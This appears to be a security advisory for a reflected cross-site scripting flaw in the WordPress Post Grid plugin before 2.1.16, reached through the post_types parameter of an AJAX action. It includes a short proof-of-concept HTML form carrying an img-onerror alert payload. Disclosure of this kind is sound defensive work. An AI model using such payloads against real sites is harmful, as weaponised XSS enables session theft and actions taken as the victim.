Post Grid < 2.1.16 - Reflected Cross-Site Scripting via post_types

2022-03-1500:00:00

Krzysztof Zając

post grid

reflected cross-site scripting

post_types

admin-ajax.php action

update taxonomies terms

EPSS

0.001

Percentile

24.8%

JSON

The plugin does not sanitise and escape the post_types parameter before outputting it back in the response of the post_grid_update_taxonomies_terms_by_posttypes AJAX action, available to any authenticated users, leading to a Reflected Cross-Site Scripting

<html>
    <form action="https://example.com/wp-admin/admin-ajax.php?action=post_grid_update_taxonomies_terms_by_posttypes" method="POST">
        <input type="text" value="<html><img src onerror=alert(/XSS/)>" name="post_types">
        <input type="submit" value="Send">
    </form>
</html>

EPSS

0.001

Percentile

24.8%

JSON

Related for WPEX-ID:91CA2CC9-951E-4E96-96FF-3BF131209DBE